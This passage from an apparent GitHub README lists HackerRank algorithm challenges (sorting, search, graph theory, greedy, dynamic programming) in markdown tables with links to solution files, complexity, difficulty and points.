Quicksort](https://www.hackerrank.com/challenges/quicksort4)| <ul><li>[Java](./Algorithms/Sorting/Running%20Time%20of%20Quicksort/Solution.java)</li><ul> | _O(n log(n))_ | _O(log(n))_ | Easy | 35| || | | [Counting Sort 1](https://www.hackerrank.com/challenges/countingsort1)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%201/Solution.java)</li><li>[C#](./Algorithms/Sorting/Counting%20Sort%201/Solution.cs)</li><ul> | _O(n+k)_ | _O(k)_ | Easy | 30| value of k in this problem is 100 || | | [Counting Sort 2](https://www.hackerrank.com/challenges/countingsort2)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%202/Solution.java)</li><li>[C#](./Algorithms/Sorting/Counting%20Sort%202/Solution.cs)</li><ul> | _O(n+k)_ | _O(n+k)_ | Easy | 30| Value of k is 100 in this problem. || | | [Counting Sort 3](https://www.hackerrank.com/challenges/countingsort3)| <ul><li>[Java](./Algorithms/Sorting/Counting%20Sort%203/Solution.java)</li><ul> | _O(n+k)_ | _O(k)_ | Easy | 30| || | | [The Full Counting Sort](https://www.hackerrank.com/challenges/countingsort4)| <ul><li>[Java](./Algorithms/Sorting/The%20Full%20Counting%20Sort/Solution.java)</li><li>[C#](./Algorithms/Sorting/The%20Full%20Counting%20Sort/Solution.cs)</li><ul> | _O(n+k)_ | _O(n+k)_ | Medium | 40| || | | [Closest Numbers](https://www.hackerrank.com/challenges/closest-numbers)| <ul><li>[Java](./Algorithms/Sorting/Closest%20Numbers/Solution.java)</li><li>[C#](./Algorithms/Sorting/Closest%20Numbers/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 35| || | | [Find the Median](https://www.hackerrank.com/challenges/find-the-median)| <ul><li>[Java](./Algorithms/Sorting/Find%20the%20Median/Solution.java)</li><li>[C#](./Algorithms/Sorting/Find%20the%20Median/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 35| || | | [Insertion Sort Advanced Analysis](https://www.hackerrank.com/challenges/insertion-sort)| <ul><li>Java</li></ul> | | | Advanced | 50| || | | [Fraudulent Activity Notifications](https://www.hackerrank.com/challenges/fraudulent-activity-notifications)| <ul><li>[Java](./Algorithms/Sorting/Fraudulent%20Activity%20Notifications/Solution.java)</li><ul> | _O(n^2)_ | _O(n)_ | Medium | 40| || | | [Lily's Homework](https://www.hackerrank.com/challenges/lilys-homework)| <ul><li>[Java](./Algorithms/Sorting/Lily's%20Homework/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 40| || | | [Big Sorting](https://www.hackerrank.com/challenges/big-sorting)| <ul><li>[Java](./Algorithms/Sorting/Big%20Sorting/Solution.java)</li><li>[C#](./Algorithms/Sorting/Big%20Sorting/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 20| || ### Search | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Hackerland Radio Transmitters](https://www.hackerrank.com/challenges/hackerland-radio-transmitters)| <ul><li>[JS](./Algorithms/Search/Hackerland%20Radio%20Transmitters/Solution.js)</li><li>[C#](./Algorithms/Search/Hackerland%20Radio%20Transmitters/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 25 | || | | [Ice Cream Parlor](https://www.hackerrank.com/challenges/icecream-parlor)| <ul><li>[Java](./Algorithms/Search/Ice%20Cream%20Parlor/Solution.java)</li><li>[C#](./Algorithms/Search/Ice%20Cream%20Parlor/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30 | || | | [Binary Search: Ice Cream Parlor](https://www.hackerrank.com/challenges/ctci-ice-cream-parlor)| <ul><li>[Java](./Algorithms/Search/Binary%20Search%20Ice%20Cream%20Parlor/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 35 | || | | [Gridland Metro](https://www.hackerrank.com/challenges/gridland-metro)| <ul><li>Java</li><li>[C#](./Algorithms/Search/Gridland%20Metro/Solution.cs)</li></ul> | _O(k)_ | _O(k)_ | Medium | 25 | k = number of tracks || | | [Missing Numbers](https://www.hackerrank.com/challenges/missing-numbers)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/Missing%20Numbers/Solution.cpp)</li><li>[C#](./Algorithms/Search/Missing%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 45 | || | | [Minimum Loss](https://www.hackerrank.com/challenges/minimum-loss)| <ul><li>[Java](./Algorithms/Search/Minimum%20Loss/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 35| || | | [KnightL on a Chessboard](https://www.hackerrank.com/challenges/knightl-on-chessboard)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [Pairs](https://www.hackerrank.com/challenges/pairs)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/Pairs/Solution.cpp)</li><li>[C#](./Algorithms/Search/Pairs/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Medium | 50 | || | | [Sherlock and Array](https://www.hackerrank.com/challenges/sherlock-and-array)| <ul><li>Java</li> <li>[C++](./Algorithms/Search/SherlockandArray/Solution.cpp)</li><li>[C#](./Algorithms/Search/SherlockandArray/Solution.cs)</li><ul> | _O(n)_ | _O(n)_| Easy | 40 | || | | [Maximum Subarray Sum](https://www.hackerrank.com/challenges/maximum-subarray-sum)| <ul><li>Java</li></ul> | | | Hard | 65 | || | | [Connected Cells in a grid](https://www.hackerrank.com/challenges/connected-cell-in-a-grid)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Short Palindrome](https://www.hackerrank.com/challenges/short-palindrome)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Maximizing Mission Points](https://www.hackerrank.com/challenges/maximizing-mission-points)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Count Luck](https://www.hackerrank.com/challenges/count-luck)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Cut the Tree](https://www.hackerrank.com/challenges/cut-the-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Making Candies](https://www.hackerrank.com/challenges/making-candies)| <ul><li>Java</li></ul> | | | Hard | 45 | || | | [Gena Playing Hanoi](https://www.hackerrank.com/challenges/gena)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Beautiful Quadruples](https://www.hackerrank.com/challenges/xor-quadruples)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Bike Racers](https://www.hackerrank.com/challenges/bike-racers)| <ul><li>Java</li></ul> | | | Hard | 65 | || | | [Task Scheduling](https://www.hackerrank.com/challenges/task-scheduling)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Similar Pair](https://www.hackerrank.com/challenges/similarpair)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Absolute Element Sums](https://www.hackerrank.com/challenges/playing-with-numbers)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Sorted Subsegments](https://www.hackerrank.com/challenges/sorted-subsegments)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Distant Pairs](https://www.hackerrank.com/challenges/distant-pairs)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [King Richard's Knights](https://www.hackerrank.com/challenges/king-richards-knights)| <ul><li>Java</li></ul> | | | Hard | 80 | || ### Graph Theory | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Roads and Libraries](https://www.hackerrank.com/challenges/torque-and-development)| <ul><li>Java</li></ul> | | | Medium | 30| || | | [Synchronous Shopping](https://www.hackerrank.com/challenges/synchronous-shopping)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Crab Graphs](https://www.hackerrank.com/challenges/crab-graphs)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Even Tree](https://www.hackerrank.com/challenges/even-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Snakes and Ladders: The Quickest Way Up](https://www.hackerrank.com/challenges/the-quickest-way-up)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Subset Component](https://www.hackerrank.com/challenges/subset-component)| <ul><li>Java</li></ul> | | | Hard | 50 | || | |[Journey to the Moon](https://www.hackerrank.com/challenges/journey-to-the-moon)| <ul><li>[Java](./Algorithms/Graph%20Theory/Journey%20to%20the%20Moon/Solution.java)</li> <li>[Python3](./Algorithms/Graph%20Theory/Journey%20to%20the%20Moon/solution.py3)</li><ul> | _O(n + i)_ | _O(n)_| Medium | 50 | || | | [Kruskal (MST): Really Special Subtree](https://www.hackerrank.com/challenges/kruskalmstrsub)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Minimum Penalty Path](https://www.hackerrank.com/challenges/beautiful-path)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Demanding Money](https://www.hackerrank.com/challenges/borrowing-money)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [The Story of a Tree](https://www.hackerrank.com/challenges/the-story-of-a-tree)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Breadth First Search: Shortest Reach](https://www.hackerrank.com/challenges/bfsshortreach)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [The Value of Friendship](https://www.hackerrank.com/challenges/value-of-friendship)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Clique](https://www.hackerrank.com/challenges/clique)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Dijkstra: Shortest Reach 2](https://www.hackerrank.com/challenges/dijkstrashortreach)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Prim's (MST) : Special Subtree](https://www.hackerrank.com/challenges/primsmstsub)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Roads in Hackerland](https://www.hackerrank.com/challenges/johnland)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Toll Cost Digits](https://www.hackerrank.com/challenges/toll-cost-digits)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Real Estate Broker](https://www.hackerrank.com/challenges/real-estate-broker)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Matrix](https://www.hackerrank.com/challenges/matrix)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Bead Ornaments](https://www.hackerrank.com/challenges/beadornaments)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Rust & Murderer](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Graph%20Theory/Rust%20&%20Murderer/Solution.java)</li><ul> | _O(n+m)_ | _O(n)_| Medium | 70 | || | | [Recording Episodes](https://www.hackerrank.com/challenges/episode-recording)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Kingdom Connectivity](https://www.hackerrank.com/challenges/kingdom-connectivity)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Journey Scheduling](https://www.hackerrank.com/challenges/journey-scheduling)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Floyd : City of Blinding Lights](https://www.hackerrank.com/challenges/floyd-city-of-blinding-lights)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Find the Path](https://www.hackerrank.com/challenges/shortest-path)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Repair Roads](https://www.hackerrank.com/challenges/repair-roads)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Problem solving](https://www.hackerrank.com/challenges/problem-solving)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Computer Game](https://www.hackerrank.com/challenges/computer-game)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jack goes to Rapture](https://www.hackerrank.com/challenges/jack-goes-to-rapture)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Jim and his LAN Party](https://www.hackerrank.com/challenges/jim-and-his-lan-party)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jeanie's Route](https://www.hackerrank.com/challenges/jeanies-route)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Travel in HackerLand](https://www.hackerrank.com/challenges/travel-in-hackerland)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jogging Cats](https://www.hackerrank.com/challenges/cat-jogging)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Tree Flow](https://www.hackerrank.com/challenges/tree-flow)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Tripartite Matching](https://www.hackerrank.com/challenges/tripartite-matching)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Jumping Rooks](https://www.hackerrank.com/challenges/jumping-rooks)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Minimum MST Graph](https://www.hackerrank.com/challenges/minimum-mst-graph)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Coprime Paths](https://www.hackerrank.com/challenges/coprime-paths)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [DAG Queries](https://www.hackerrank.com/challenges/dag-queries)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Liars](https://www.hackerrank.com/challenges/liars)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [ByteLandianTours](https://www.hackerrank.com/challenges/bytelandian-tours)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Kth Ancestor](https://www.hackerrank.com/challenges/kth-ancestor)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Drive](https://www.hackerrank.com/challenges/drive)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Road Network](https://www.hackerrank.com/challenges/road-network)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Savita And Friends](https://www.hackerrank.com/challenges/savita-and-friends)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Favorite sequence](https://www.hackerrank.com/challenges/favourite-sequence)| <ul><li>Java</li></ul> | | | Advanced | 95 | || | | [Quadrant Queries](https://www.hackerrank.com/challenges/quadrant-queries)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Going to the Office](https://www.hackerrank.com/challenges/going-office)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Ticket](https://www.hackerrank.com/challenges/ticket)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [HackerX](https://www.hackerrank.com/challenges/missile-defend)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Hacker Country](https://www.hackerrank.com/challenges/hacker-country)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Travelling Salesman in a Grid](https://www.hackerrank.com/challenges/tsp-grid)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Huarongdao](https://www.hackerrank.com/challenges/huarongdao)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Vertical Paths](https://www.hackerrank.com/challenges/vertical-paths)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [DFS Edges](https://www.hackerrank.com/challenges/dfs-edges)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Tree Splitting](https://www.hackerrank.com/challenges/tree-splitting)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Definite Random Walks](https://www.hackerrank.com/challenges/definite-random-walks)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Diameter Minimization](https://www.hackerrank.com/challenges/diameter-minimization)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Training the army](https://www.hackerrank.com/challenges/training-the-army)| <ul><li>Java</li></ul> | | | Hard | 120 | || | | [Alex vs Fedor](https://www.hackerrank.com/challenges/alex-vs-fedor)| <ul><li>Java</li></ul> | | | Expert | 150 | || ### Greedy | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Minimum Absolute Difference in an Array](https://www.hackerrank.com/challenges/minimum-absolute-difference-in-an-array)| <ul><li>[Java](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.js)</li><li>[C#](./Algorithms/Greedy/Minimum%20Absolute%20Difference%20in%20an%20Array/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 15| || | |[Chief Hopper](https://www.hackerrank.com/challenges/chief-hopper)| <ul><li>[Java](./Algorithms/Greedy/Chief%20Hopper/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Hard | 65 | || | |[Mark and Toys](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Mark%20and%20Toys/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Mark%20and%20Toys/Solution.js)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 35 | || | | [Marc's Cakewalk](https://www.hackerrank.com/challenges/marcs-cakewalk)| <ul><li>[Java](./Algorithms/Greedy/Marc's%20Cakewalk/Solution.java)</li><li>[C#](./Algorithms/Greedy/Marc's%20Cakewalk/Solution.cs)</li><ul> | _O(n + k)_ | _O(k)_ | Easy | 15| || | |[Grid Challenge](https://www.hackerrank.com/challenges/grid-challenge)| <ul><li>[Java](./Algorithms/Greedy/Grid%20Challenge/Solution.java)</li><ul> | _O(n*(n log (n)))_ | _O(n^2)_| Easy | 20 | || | |[Luck Balance](https://www.hackerrank.com/challenges/luck-balance)| <ul><li>[Java](./Algorithms/Greedy/Luck%20Balance/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Easy | 20| || | |[Maximum Perimeter Triangle](https://www.hackerrank.com/challenges/maximum-perimeter-triangle)| <ul><li>[Java](./Algorithms/Greedy/Maximum%20Perimeter%20Triangle/Solution.java)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 20 | || | |[Permuting Two Arrays](https://www.hackerrank.com/challenges/two-arrays)| <ul><li>[Java](./Algorithms/Greedy/Permuting%20Two%20Arrays/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Permuting%20Two%20Arrays/Solution.js)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 40 | || | |[Jim and the Orders](https://www.hackerrank.com/challenges/jim-and-the-orders)| <ul><li>[Java](./Algorithms/Greedy/Jim%20and%20the%20Orders/Solution.java)</li><ul> | _O(n log (n))_ | _O(n)_| Easy | 40 | || | |[Equal Stacks](https://www.hackerrank.com/challenges/equal-stacks)| <ul><li>[Java](./Algorithms/Greedy/Equal%20Stacks/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Easy | 25 | || | |[Sherlock and The Beast](https://www.hackerrank.com/challenges/sherlock-and-the-beast)| <ul><li>[Java](./Algorithms/Greedy/Sherlock%20and%20The%20Beast/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Easy | 30 | || | |[Priyanka and Toys](https://www.hackerrank.com/challenges/priyanka-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Priyanka%20and%20Toys/Solution.java)</li> <li>[JS](./Algorithms/Greedy/Priyanka%20and%20Toys/Solution.js)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 30 | || | |[Largest Permutation](https://www.hackerrank.com/challenges/largest-permutation)| <ul><li>[JS](./Algorithms/Greedy/Largest%20Permutation/Solution.js)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Beautiful Pairs](https://www.hackerrank.com/challenges/beautiful-pairs)| <ul><li>Java</li></ul> | | | Easy | 30| || | | [Yet Another Minimax Problem](https://www.hackerrank.com/challenges/yet-another-minimax-problem)| <ul><li>Java</li></ul> | | | Medium | 20| || | | [Flipping the Matrix](https://www.hackerrank.com/challenges/flipping-the-matrix)| <ul><li>[Java](./Algorithms/Constructve%20Algorithms/Flipping%20Matrix/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30 | || | | [Roads and Libraries](https://www.hackerrank.com/challenges/torque-and-development)| <ul><li>Java</li></ul> | | | Medium | 30| || | |[Greedy Florist](https://www.hackerrank.com/challenges/greedy-florist)| <ul><li>[JS](./Algorithms/Greedy/Greedy%20Florist/Solution.js)</li><ul> | _O(n log (n))_ | _O(n)_| Medium | 35 | || | |[Mark and Toys](https://www.hackerrank.com/challenges/mark-and-toys)| <ul><li>[Java](./Algorithms/Greedy/Mark%20and%20Toys/Solution.java)</li><ul> | _O(n log(n))_ | _O(n)_| Easy | 35 | || | | [Max Min](https://www.hackerrank.com/challenges/angry-children)| <ul><li>[Java](./Algorithms/Greedy/Max%20Min/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Medium | 35| || | | [Permuting Two Arrays](https://www.hackerrank.com/challenges/two-arrays)| <ul><li>Java</li></ul> | | | Easy | 40| || | | [Jim and the Orders](https://www.hackerrank.com/challenges/jim-and-the-orders)| <ul><li>Java</li></ul> | | | Easy | 40| || | | [Goodland Electricity](https://www.hackerrank.com/challenges/pylons)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Fun Game](https://www.hackerrank.com/challenges/fun-game-1)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Reverse Shuffle Merge](https://www.hackerrank.com/challenges/reverse-shuffle-merge)| <ul><li>Java</li></ul> | | | Advanced | 50| || | | [Cutting Boards](https://www.hackerrank.com/challenges/board-cutting)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Algorithmic Crush](https://www.hackerrank.com/challenges/crush)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Prim's (MST): Special Subtree](https://www.hackerrank.com/challenges/primsmstsub)| <ul><li>Java</li></ul> | | | Medium | 60| || | | [Accessory Collection](https://www.hackerrank.com/challenges/accessory-collection)| <ul><li>Java</li></ul> | | | Hard | 60| || | |[Chief Hopper](https://www.hackerrank.com/challenges/rust-murderer)| <ul><li>[Java](./Algorithms/Greedy/Chief%20Hopper/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Hard | 65 | || | | [Sherlock and MiniMax](https://www.hackerrank.com/challenges/sherlock-and-minimax)| <ul><li>Java</li></ul> | | | Hard | 70| || | | [Team Formation](https://www.hackerrank.com/challenges/team-formation)| <ul><li>Java</li></ul> | | | Advanced | 70| || ### Dynamic Programming | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Equal](https://www.hackerrank.com/challenges/equal)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Cut Tree](https://www.hackerrank.com/challenges/cuttree)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Mr K marsh](https://www.hackerrank.com/challenges/mr-k-marsh)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Sam and sub-strings](https://www.hackerrank.com/challenges/sam-and-substrings)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Summing Pieces](https://www.hackerrank.com/challenges/summing-pieces)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Short Palindrome](https://www.hackerrank.com/challenges/short-palindrome)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Abbreviation](https://www.hackerrank.com/challenges/abbr)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Fair Cut](https://www.hackerrank.com/challenges/fair-cut)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Fibonacci Modified](https://www.hackerrank.com/challenges/fibonacci-modified)| <ul><li>[Java](./Algorithms/Dynamic%20Programming/Modified%20Fibonacci/Solution.java)</li><ul> | | | Medium | 45 | || | | [Lego Blocks](https://www.hackerrank.com/challenges/lego-blocks)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Candies](https://www.hackerrank.com/challenges/candies)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Stock Maximize](https://www.hackerrank.com/challenges/stockmax)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Angry Childtren 2](https://www.hackerrank.com/challenges/angry-children-2)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [The Maximum Subarray](https://www.hackerrank.com/challenges/maxsubarray)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Sherlock and Cost](https://www.hackerrank.com/challenges/sherlock-and-cost)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Xor and Sum](https://www.hackerrank.com/challenges/xor-and-sum)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Counting Special Sub-Cubes](https://www.hackerrank.com/challenges/counting-special-sub-cubes)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Two Robots](https://www.hackerrank.com/challenges/two-robots)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Kingdom Division](https://www.hackerrank.com/challenges/kingdom-division)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Prime XOR](https://www.hackerrank.com/challenges/prime-xor)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [HackerRank City](https://www.hackerrank.com/challenges/hr-city)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Nikita and the Game](https://www.hackerrank.com/challenges/array-splitting)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Prime Digit Sums](https://www.hackerrank.com/challenges/prime-digit-sums)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Mandragora Forest](https://www.hackerrank.com/challenges/mandragora)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [LCS Returns](https://www.hackerrank.com/challenges/tutzki-and-lcs)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Grid Walking](https://www.hackerrank.com/challenges/grid-walking)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [Bricks Game](https://www.hackerrank.com/challenges/play-game)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [The Longest Common Subsequence](https://www.hackerrank.com/challenges/dynamic-programming-classics-the-longest-common-subsequence)| <ul><li>Java</li></ul> | | | Medium | 55 | || | | [Substring Diff](https://www.hackerrank.com/challenges/substring-diff)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Brick Tiling](https://www.hackerrank.com/challenges/brick-tiling)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Alien Languages](https://www.hackerrank.com/challenges/alien-languages)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [The Longest Increasing Subsequence](https://www.hackerrank.com/challenges/longest-increasing-subsequent)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [The Coin Change Problem](https://www.hackerrank.com/challenges/coin-change)| <ul><li>[Python3](./Algorithms/Dynamic%20Programming/The%20Coin%20Change%20Problem/solution.py)</li><ul> | _O(N*M)_ | _O(N)_| Hard | 60 | || | | [Knapsack](https://www.hackerrank.com/challenges/unbounded-knapsack)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Sherlock's Array Merging Algorithm](https://www.hackerrank.com/challenges/sherlocks-array-merging-algorithm)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [New Year Game](https://www.hackerrank.com/challenges/newyear-game)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Shashank and the Palindromic Strings](https://www.hackerrank.com/challenges/shashank-and-palindromic-strings)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [Decibinary Numbers](https://www.hackerrank.com/challenges/decibinary-numbers)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Choosing White Balls](https://www.hackerrank.com/challenges/choosing-white-balls)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [DP: Coin Change](https://www.hackerrank.com/challenges/ctci-coin-change)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Clues on a Binary Path](https://www.hackerrank.com/challenges/clues-on-a-binary-path)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [GCD Matrix](https://www.hackerrank.com/challenges/gcd-matrix)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Coin on the Table](https://www.hackerrank.com/challenges/coin-on-the-table)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Interval Selection](https://www.hackerrank.com/challenges/interval-selection)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Red John is Back](https://www.hackerrank.com/challenges/red-john-is-back)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Play with words](https://www.hackerrank.com/challenges/strplay)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Queens on Board](https://www.hackerrank.com/challenges/queens-on-board)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [String Reduction](https://www.hackerrank.com/challenges/string-reduction)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Far Vertices](https://www.hackerrank.com/challenges/far-vertices)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [The Indian Job](https://www.hackerrank.com/challenges/the-indian-job)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Hexagonal Grid](https://www.hackerrank.com/challenges/hexagonal-grid)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Longest Palindromic Subsequence](https://www.hackerrank.com/challenges/longest-palindromic-subsequence)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Turn Off the Lights](https://www.hackerrank.com/challenges/turn-off-the-lights)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Tara's Beautiful Permutations](https://www.hackerrank.com/challenges/taras-beautiful-permutations)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Two Subarrays](https://www.hackerrank.com/challenges/two-subarrays)| <ul><li>Java</li></ul> | | | Expert | 70 | || | | [Mining](https://www.hackerrank.com/challenges/mining)| <ul><li>Java</li></ul> | | | Advanced | 75 | || | | [The Longest Common Subsequence (LCS)](https://www.hackerrank.com/challenges/linkedin-practice-dynamic-programming-lcs)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Points in a Plane](https://www.hackerrank.com/challenges/points-in-a-plane)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Fairy Chess](https://www.hackerrank.com/challenges/fairy-chess)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Billboards](https://www.hackerrank.com/challenges/billboards)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Requirement](https://www.hackerrank.com/challenges/requirement)| 